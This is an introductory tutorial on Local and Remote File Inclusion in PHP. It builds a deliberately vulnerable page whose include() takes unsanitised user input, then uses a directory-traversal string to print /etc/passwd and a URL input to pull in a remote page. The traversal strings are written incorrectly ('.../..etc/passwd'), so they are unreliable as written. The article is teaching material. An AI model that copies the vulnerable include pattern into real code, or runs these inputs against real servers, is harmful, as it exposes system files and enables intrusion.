

Understanding LFI and RFI Attacks

Local File Inclusion

Local File Inclusion (LFI) is a method of including files on a server through a Modified Special HTTP request. This vulnerability can be exploited using a Web Browser and thus can be very easy to exploit. The vulnerability occurs when a user supplied data without sanitizing is provided to an ‘inclusion type’ (like , include() , require() etc.) . Mostly these attacks are accompanied by Directory Transversal attacks which can reveal some sensitive data leading to further attacks.

Now that’s quite a bit of theory there let’s have a look on a sample vulnerable application.

Demonstration [Proof of Concept]

I have created a pair of files named index.html and lfi.php

lfi.php

Code:

```
<html>
  <head>
    <title>Vulnerable to LFI -- by lionaneesh</title>
  </head>
  <body>

    <h1>Welcome to this Website</h1>

    <?php $page = isset($_GET['page']) ? $_GET['page'] : 'index.html'; ?>

    <p>You are currently at <?php echo"<a href='".$page."'$page</a>";?></p>

    <?php include($page); ?>
  </body>
</html>
```

As you see the above code has a include(USER_INPUT) So basically we can input any filename and it will simply print out the contents on the screen. This is the most

popular form in which these bugs occur.
index.html

Code:

```
<p>Hello I am a sample page my name is index.html</p>
```

Providing normal Input:-

First let's try and give this app a normal input which it would be expecting.

Input: index.html

Output:-

Code:

```
Welcome to this Website

You are currently at index.html
Hello I am a sample page my name is index.html
```

It works fine! Now let's construct the attack string and see what happens!

Constructing the attack string

As I am working on UNIX we'll print out the contents of /etc/passwd file , The file /etc/passwd is a local source of information about users' accounts.

My present working directory is /var/www/ , So what I have to do is :-

1. Go back 2 directories and
2. Then go to /etc/passwd
We can go back 2 directories using '..../'

Attack string :-

Code:

```
.../..etc/passwd
```

Now lets feed this as an input and see what happens.

Input: “ .../etc/passwd”

Code:

```
Welcome to this Website

You are currently at .../..etc/passwd
root:x:0:1:Super-User:/root:/sbin/sh
daemon:x:1:1:::
bin:x:2:2:::/usr/bin:
sys:x:3:3:::
adm:x:4:4:Admin:/var/adm:
lp:x:71:8:Line Printer Admin:/usr/spool/lp:
uucp:x:5:5:uucp Admin:/usr/lib/uucp:
nuucp:x:9:9:uucp Admin:/var/spool/uucppublic:/usr/lib/uucp/
```

And voila! We just printed the /etc/passwd file.

Remote File Inclusion

RFI is an abbreviation for Remove File Inclusion and is quite similar to LFI, Remote File Inclusion (RFI) is a method of including Remote files(present on another server) on a server through a Modified Special HTTP request. This vulnerability can be exploited using a Web Browser and thus can be very easy to exploit. The vulnerability occurs when a user supplied data without sanitizing is provided to an ‘inclusion type’ (like, include (), require () etc.)

Demonstration [Proof of Concept]

We'll be using the same sample web-app we used to Demonstrate LFI

Constructing the attack string:-

In our case we want to include go4expert's index file in our local file.

So what we have to do is, simply provide the URI as an input and see what happens

Input : <http://go4expert.com>

Output (page source):-

Code:

```
<html>
<head>
    <title>Vulnerable to LFI -- by lionaneesh</title>
</head>

<body>

<h1>Welcome to this Website</h1>

<p>You are currently at <a
href='<a href="http://go4expert.com'>http://go4expert.com</a>

</p> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html dir="ltr"
lang="en" xmlns="http://www.w3.org/1999/xhtml"><head>          <meta http-
equiv="Cache-Control" content="no-cache" />          <meta http-equiv="Pragma"
content="no-cache" />
          <meta http-equiv="Expires" content="0" />
<title>Programming and SEO Forums </title>

<!-- ChartBeat -->

<script type="text/javascript">var _sf_startpt=(new
Date()).getTime()</script>

<!-- /ChartBeat -->

-----Sniped-----
```

Note: In most modern ‘php.ini’ files, allow_url_include is set to off which would not allow a malicious user to include a remote file.

Source: <http://www.go4expert.com/articles/understanding-lfi-rfi-attacks-t26158/>